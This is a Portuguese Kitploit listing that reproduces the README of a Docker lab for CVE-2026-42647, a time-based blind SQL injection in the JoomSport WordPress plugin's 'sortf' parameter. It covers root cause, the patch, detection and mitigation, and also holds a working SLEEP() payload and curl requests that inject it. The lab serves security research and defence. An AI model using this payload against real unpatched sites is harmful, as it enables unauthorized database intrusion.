Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42647-Lab | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-42647-lab
Análise de VulnerabilidadesExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-42647-lab

CVE-2026-42647-Lab

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42647 - JoomSport Injeção SQL cega baseada em tempo não autenticada via sortf

Resumo Executivo

Este repositório contém um laboratório Docker local para reproduzir e validar a CVE-2026-42647, uma vulnerabilidade de injeção SQL não autenticada que afeta o plugin WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.

O comportamento vulnerável ocorre no recurso de ordenação da lista de jogadores. Um visitante público pode controlar o parâmetro de consulta sortf, que é usado para construir uma cláusula SQL ORDER BY. Em versões vulneráveis, o valor é higienizado como texto e envolvido em crases, mas não é validado contra uma lista de permissões estrita antes de ser anexado à consulta SQL.

Este laboratório compara duas versões do JoomSport:

ServiçoVersão do JoomSportFinalidadeURL
vuln5.7.6Alvo de comparação vulnerávelhttp://localhost:8081
patched5.7.8Alvo de comparação corrigidohttp://localhost:8082

Os avisos públicos identificam as versões anteriores a 5.7.8 como afetadas e a 5.7.8 como a versão corrigida. Este laboratório utiliza a 5.7.6 como alvo vulnerável porque uma tag de origem 5.7.7 não estava disponível na listagem de tags SVN do plugin no WordPress.org no momento em que este laboratório foi preparado.

A cadeia de vulnerabilidade demonstrada é:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field

root@kitploit:~
Este laboratório valida a vulnerabilidade como uma injeção SQL cega baseada em tempo. Ele não realiza dumping de banco de dados, extração de credenciais, modificação de dados ou operações SQL destrutivas.

Este laboratório foi projetado apenas para pesquisa local controlada, compreensão em nível de código-fonte e demonstração de portfólio.

## Fatos Verificados

| Alegação | Evidência | Como verificar neste laboratório |
| --- | --- | --- |
| JoomSport anterior à versão 5.7.8 é relatado como vulnerável a injeção SQL não autenticada. | Advisories públicos identificam JoomSport `< 5.7.8` / `<= 5.7.7` como afetados. | Revise a seção References e compare os serviços vulnerável/corrigido. |
| JoomSport 5.7.8 é a versão corrigida. | Advisories públicos e comparação de código-fonte mostram que a versão 5.7.8 valida o valor de `sortf` antes de construir a expressão de ordenação. | Inspecione `class-jsport-playerlist.php` em ambas as versões. |
| O parâmetro afetado é `sortf`. | O código vulnerável da lista de jogadores lê `classJsportRequest::get('sortf')`. | Execute o PoC e observe a requisição `sortf` injetada. |
| O código vulnerável constrói um valor de ordenação SQL dinâmico a partir da entrada do usuário. | Na versão vulnerável, `sortf` é usado para construir `$options['ordering']`. | Inspecione `sportleague/classes/objects/class-jsport-playerlist.php`. |
| O sink SQL é uma cláusula `ORDER BY`. | O valor `$ordering` gerado é posteriormente anexado a uma consulta SQL com `ORDER BY`. | Inspecione `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| A correção usa uma correção no estilo de allowlist. | A versão corrigida introduz colunas estáticas permitidas e padrões esperados de campos dinâmicos antes de usar o campo de ordenação. | Compare o código-fonte do JoomSport 5.7.6 e 5.7.8. |
| O laboratório demonstra injeção SQL cega baseada em tempo. | O alvo vulnerável atrasa quando uma expressão `SLEEP()` injetada é usada; o alvo corrigido não atrasa. | Execute `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |

## Premissas e Incógnitas

Este laboratório usa o JoomSport 5.7.6 como alvo vulnerável de comparação porque a versão pública corrigida é a 5.7.8 e uma tag de código-fonte 5.7.7 não estava disponível na listagem de tags SVN do plugin no WordPress.org quando o laboratório foi preparado.

O laboratório não afirma que 5.7.6 é a única versão vulnerável. Ele é usado como uma linha de base vulnerável reproduzível para comparar o comportamento vulnerável com o comportamento da versão corrigida 5.7.8.

O laboratório se concentra no parâmetro `sortf` no fluxo de ordenação da lista de jogadores.

O impacto demonstrado é injeção SQL cega baseada em tempo. O laboratório não demonstra:

* dumping direto de banco de dados,
* extração de credenciais,
* bypass de autenticação,
* escalonamento de privilégios,
* modificação arbitrária de dados,
* execução remota de código,
* persistência,
* callbacks externos,
* ou ataques contra sistemas fora do laboratório.

Comportamento baseado em erro ou booleano pode ser possível dependendo do comportamento do banco de dados, da configuração da aplicação e das diferenças de resposta, mas este laboratório não se baseia nessas técnicas. A prova principal é baseada em tempo.

## Resumo da Causa Raiz

A causa raiz é a construção insegura de uma cláusula SQL `ORDER BY` dinâmica a partir do parâmetro de requisição `sortf`.

O caminho do código vulnerável começa em:```text
sportleague/classes/objects/class-jsport-playerlist.php

Dentro da lógica de carregamento da lista de jogadores, o JoomSport lê o parâmetro da requisição:```text sortf

root@kitploit:~
e usa-o para construir:```text
$options['ordering']

O padrão de código-fonte vulnerável relevante é:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
O problema não é principalmente o parâmetro `sortd`. O valor de `sortd` é restrito a:```text
ASC
DESC

O problema é o parâmetro sortf porque ele controla a posição do identificador/expressão SQL usada para ordenação.

A expressão perigosa é:```php "".classJsportRequest::get('sortf').""

root@kitploit:~
O código coloca a entrada controlada pelo atacante dentro de um contexto de identificador MySQL e então a passa adiante como um fragmento de ordenação SQL.

O código aplica:```php
sanitize_text_field()

mas sanitize_text_field() não é validação de identificador SQL. Ele foi projetado para limpar texto, não para construir sintaxe SQL com segurança.

O código vulnerável também envolve o campo de ordenação controlado pelo usuário em crases. No entanto, crases não são uma fronteira de segurança quando o atacante pode influenciar o conteúdo do identificador. Se um atacante puder injetar uma crase no valor, ele poderá escapar do contexto de identificador pretendido.

O valor de ordenação gerado é posteriormente passado para a consulta de recuperação do jogador e anexado a uma cláusula SQL ORDER BY em:```text sportleague/base/wordpress/classes/class-jsport-getplayers.php

root@kitploit:~
O padrão de sink é:```php
$query .= ' ORDER BY '.($ordering);

Isso cria o fluxo de dados vulnerável:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY

root@kitploit:~
O problema de segurança é que a aplicação trata um parâmetro de requisição controlado pelo usuário como um identificador/expressão SQL sem antes validá-lo contra uma allowlist rigorosa.

## Resumo do Patch de Origem

O patch relevante está em:```text
sportleague/classes/objects/class-jsport-playerlist.php

Na versão vulnerável, o código da lista de jogadores constrói $options['ordering'] diretamente a partir do valor da requisição:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
A parte vulnerável é que `classJsportRequest::get('sortf')` é usado dentro da expressão de ordenação SQL.

O JoomSport 5.7.8 muda esse comportamento introduzindo uma variável de campo de ordenação validada antes de construir `$options['ordering']`.

A versão corrigida inicializa um padrão seguro:```php
$sortFieldEsc = 'post_title';

Em seguida, define as colunas de ordenação estática permitidas:```php $sortCols = array("played", "career_minutes", "post_title");

root@kitploit:~
Quando `sortf` está presente, o código corrigido só o aceita se corresponder a um dos valores estáticos esperados:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

O patch também permite formatos esperados de campos dinâmicos de eventos/estatísticas:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

root@kitploit:~
A alteração final relevante para a segurança é que `$options['ordering']` é construído a partir de `$sortFieldEsc` em vez do valor bruto da requisição `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Isto não remove a ordenação dinâmica. Altera o limite de confiança.

Antes do patch:```text request sortf value directly controlled the ORDER BY identifier

root@kitploit:~
Após o patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

Se o atacante enviar um valor inesperado, como:```text post_title`DESC,(SLEEP(2))#

root@kitploit:~
o código corrigido não atribui esse valor a `$sortFieldEsc`.

Em vez disso, o campo de ordenação recorre a:```text
post_title

É por isso que o serviço vulnerável sofre atrasos, enquanto o serviço corrigido permanece próximo da linha de base.

A lição de segurança do patch é:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.

root@kitploit:~
## Arquitetura do Laboratório

O laboratório executa duas instalações WordPress isoladas através do Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Os dois serviços WordPress executam bancos de dados separados e versões de plugins separadas:

Serviços expostos por padrão:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
O processo de configuração cria dados mínimos do JoomSport necessários para renderizar a rota da lista de jogadores:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

Os serviços vulneráveis e corrigidos usam o mesmo formato de dados do laboratório, de modo que o comportamento de temporização possa ser comparado de forma justa.

Requisitos

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3
  • Pacote Python requests para executar o PoC a partir do host
  • Acesso à Internet durante a construção da imagem Docker para buscar as dependências do WordPress/JoomSport

Instale a dependência do Python no host, se necessário:```bash python3 -m pip install requests

root@kitploit:~
## Início Rápido

Inicie o laboratório:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Observe os contêineres de configuração:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
Mensagens esperadas de conclusão da configuração:```text
[VULN] setup complete
[PATCHED] setup complete

Verificar o status do container:```bash docker compose ps

root@kitploit:~
Serviços expostos esperados:```text
http://localhost:8081
http://localhost:8082

Execute o PoC contra o alvo vulnerável:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Execute o PoC contra o alvo corrigido:```bash
python3 poc/poc.py http://localhost:8082

Execute o PoC contra ambos os alvos em um único comando:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Para estatísticas de tempo mais estáveis, aumente o número de rodadas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Você também pode ajustar o tempo de espera solicitado:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5

root@kitploit:~
## Uso do PoC

O PoC verifica cada alvo de forma independente.

Não requer mais opções separadas `--vuln-url` ou `--patched-url`. Em vez disso, passe uma ou mais URLs de destino como argumentos posicionais:```bash
python3 poc/poc.py <target_url> [target_url...]

Exemplos:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Se nenhuma URL de destino for fornecida, o script solicita interativamente uma ou mais URLs de destino locais.

Opções suportadas:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

O PoC é intencionalmente de escopo local. Ele aceita alvos no estilo localhost, como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
O PoC recusa alvos não locais por padrão.

## Como o PoC Decide

Para cada alvo, o PoC executa duas séries de temporização:```text
[1/2] Baseline timing
[2/2] Injected timing

A solicitação de referência usa um campo de ordenação normal:```text sortf=post_title

root@kitploit:~
A solicitação injetada utiliza um payload de temporização somente local no parâmetro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

O PoC calcula:```text delta = injected median - baseline median

root@kitploit:~
| Verdicto          | Significado                                                    |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | A requisição injetada é significativamente mais lenta que a linha de base. |
| `PATCHED-LIKE`    | A requisição injetada permanece próxima da linha de base.      |
| `UNREACHABLE`     | O alvo não pôde ser alcançado.                                 |
| `INCONCLUSIVE`    | Alguns dados de temporização estavam ausentes ou incompletos.  |

Regra de decisão padrão:```text
injected median - baseline median >= 60% of requested SLEEP()

Para o padrão --sleep 2, o limiar é:```text 1.200s median delta

root@kitploit:~
Isso significa que um alvo só é relatado como `VULNERABLE-LIKE` quando a requisição injetada é claramente mais lenta que a sua própria linha de base.

Alvos inacessíveis ou inconclusivos não são contados como corrigidos.

## Reprodução Manual de HTTP com curl

Você pode reproduzir a validação manualmente sem usar o PoC em Python.

Requisição de linha de base vulnerável:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Requisição injetada vulnerável:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
Solicitação de baseline corrigida:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Requisição injetada corrigida:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
Comparação esperada:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Saída Esperada

Alvo Vulnerável

Comando:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Sinal vulnerável esperado:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

Resumo final vulnerável:```text Final summary

Target Base med Inj med Delta Ratio Verdict

http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE

VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### Alvo Corrigido

Comando:```bash
python3 poc/poc.py http://localhost:8082

Sinal corrigido esperado:```text Target decision

Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE

Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.

root@kitploit:~
### Múltiplos Alvos

Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

Resultado esperado:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### Alvo Inacessível

Se um alvo não estiver em execução, o PoC deve reportar `UNREACHABLE`, e não `PATCHED-LIKE`.

Exemplo:```bash
python3 poc/poc.py http://localhost:8083

Decisão esperada:```text Verdict : UNREACHABLE

Interpretation : the target could not be reached. No vulnerability decision was made for this target.

root@kitploit:~
Alvos inalcançáveis não são contados como corrigidos.

## Como o PoC Funciona

O PoC sonda a rota de lista de jogadores do JoomSport em busca de uma postagem de temporada semeada.

A rota alvo é equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

A solicitação de linha de base usa:```text sortf=post_title

root@kitploit:~
Isso deve produzir a ordenação normal da lista de jogadores.

A requisição injetada usa:```text
sortf=post_title`DESC,(SLEEP(2))#

O código vulnerável envolve sortf entre crases e anexa uma direção de ordenação. O valor injetado é projetado para sair do contexto de identificador pretendido e introduzir uma expressão de temporização na cláusula ORDER BY.

Conceitualmente, o fragmento SQL vulnerável torna-se semelhante a:```sql ORDER BY post_title DESC, (SLEEP(2))

root@kitploit:~
O marcador de comentário `#` impede que a crase final e a direção interfiram na expressão injetada.

Este não é um payload de consulta empilhada. Ele não injeta:```sql
; SELECT SLEEP(2);

Em vez disso, ele injeta uma expressão SQL dentro do contexto existente de ORDER BY.

A versão corrigida não executa a expressão injetada porque o valor de sortf é verificado em relação aos campos de ordenação permitidos e retorna ao post_title quando o valor é inesperado.

Impacto

Este laboratório demonstra uma injeção SQL cega baseada em tempo não autenticada no parâmetro sortf da lista de jogadores do JoomSport.

A versão vulnerável executa uma expressão SQL de temporização injetada por meio da cláusula ORDER BY, produzindo um atraso claro na resposta. A versão corrigida não atrasa porque o campo de ordenação injetado é rejeitado e substituído por um valor seguro da lista de permitidos.

O laboratório comprova apenas a execução SQL baseada em tempo. Ele não demonstra extração de dados, modificação de dados, bypass de autenticação, escalonamento de privilégios ou execução remota de código.

Detecção e Monitoramento

Indicadores potenciais incluem solicitações diretas às rotas da lista de jogadores do JoomSport com valores incomuns de sortf.

Exemplo de padrão de solicitação suspeita:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC

root@kitploit:~
Características suspeitas do `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Exemplo de solicitação de laboratório local:```text sortf=post_title`DESC,(SLEEP(2))#

root@kitploit:~
Expected vulnerable signal:```text
HTTP 200 response with significant timing delay

Sinal corrigido esperado:```text HTTP 200 response without significant timing delay

root@kitploit:~
Possíveis ideias de monitoramento em produção:

* Revise os logs de acesso web em busca de valores incomuns de `sortf`.
* Alerte sobre palavras-chave SQL ou marcadores de comentário dentro de parâmetros de ordenação.
* Monitore solicitações repetidas às rotas de lista de jogadores do JoomSport com pequenas alterações de parâmetros.
* Monitore consultas de banco de dados lentas envolvendo tabelas de lista de jogadores do JoomSport.
* Correlacione solicitações lentas com tráfego público não autenticado.
* Revise se o JoomSport está instalado e se sua versão é anterior à 5.7.8.

## Notas de Mitigação e Patch

Atualize o JoomSport para 5.7.8 ou posterior.

A versão corrigida restringe o parâmetro `sortf` aos campos de ordenação esperados e aos padrões de campos dinâmicos. Valores inesperados revertem para um campo de ordenação padrão seguro.

Orientação de mitigação em nível de aplicação:

* Atualize o plugin JoomSport.
* Não exponha versões desatualizadas de plugins em sites WordPress públicos.
* Revise os logs web em busca de parâmetros `sortf` suspeitos.
* Desative ou restrinja a funcionalidade afetada somente como mitigação temporária se a atualização imediata não for possível.
* Use uma regra de Web Application Firewall como camada temporária, não como substituta da aplicação de patches.
* Trate identificadores SQL dinâmicos de forma diferente dos valores normais: use listas de permissões para nomes de colunas, nomes de tabelas, direções de ordenação e componentes semelhantes de sintaxe SQL.

O controle mais importante é a lista de permissões. Somente o escape não é uma correção completa para identificadores SQL dinâmicos.

## Comandos Úteis de Verificação

Verifique os contêineres em execução:```bash
docker compose ps

Acompanhar logs de configuração:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
Verifique os serviços WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Execute o PoC contra o serviço vulnerável:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Execute o PoC contra o serviço corrigido:```bash
python3 poc/poc.py http://localhost:8082

Execute o PoC contra ambos os serviços:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Rode a PoC com mais rodadas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Salvar evidências:```bash mkdir -p evidence

python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt

docker compose ps
| tee evidence/docker-compose-ps.txt

docker compose logs vuln patched setup-vuln setup-patched \

evidence/docker-compose-logs.txt

root@kitploit:~
Verifique as versões de plugins dentro do WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Inspecione o código-fonte vulnerável:```bash docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

root@kitploit:~
Inspecione o código-fonte corrigido:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

Inspecionar o sink SQL:```bash docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"

root@kitploit:~
## Limpeza

Pare e remova os contêineres e as redes:```bash
docker compose down --remove-orphans

Remova containers, redes e volumes:```bash docker compose down -v --remove-orphans

root@kitploit:~
Remova os arquivos de evidência se criados:```bash
rm -rf evidence/

Limites de Segurança

Este laboratório destina-se apenas a pesquisa de segurança local e demonstração controlada.

Não execute o PoC ou payloads contra sistemas que você não possui ou para os quais não tenha permissão explícita de teste.

Não use credenciais reais, segredos de produção ou alvos externos neste laboratório.

O PoC está intencionalmente limitado a serviços Docker locais, tais como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
O PoC não inclui payloads para dump de banco de dados, roubo de credenciais, modificação de dados, persistência, movimento lateral ou callbacks externos.

O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version

Referências

  • Aviso da Wordfence: JoomSport <= 5.7.7 - Injeção de SQL não autenticada via parâmetro sortf https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter

  • Aviso da Wordfence: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Injeção de SQL não autenticada https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection

  • Banco de dados de vulnerabilidades de plugins do WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/

  • Plugin do WordPress.org: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/

  • SVN de plugins do WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/

  • Tags SVN de plugins do WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/

  • Guia de Testes de Segurança Web da OWASP: Testes para Injeção de SQL https://owasp.org/www-project-web-security-testing-guide/

  • Série de Cheat Sheets da OWASP: Prevenção de Injeção de SQL https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Baixar ferramenta
ServiceComponentVersion / Role
vulnWordPress + JoomSportJoomSport 5.7.6
patchedWordPress + JoomSportJoomSport 5.7.8
db-vulnMariaDBbanco de dados para o alvo vulnerável
db-patchedMariaDBbanco de dados para o alvo corrigido
setup-vulnWP-CLI init serviceinstala o WordPress e popula o alvo vulnerável
setup-patchedWP-CLI init serviceinstala o WordPress e popula o alvo corrigido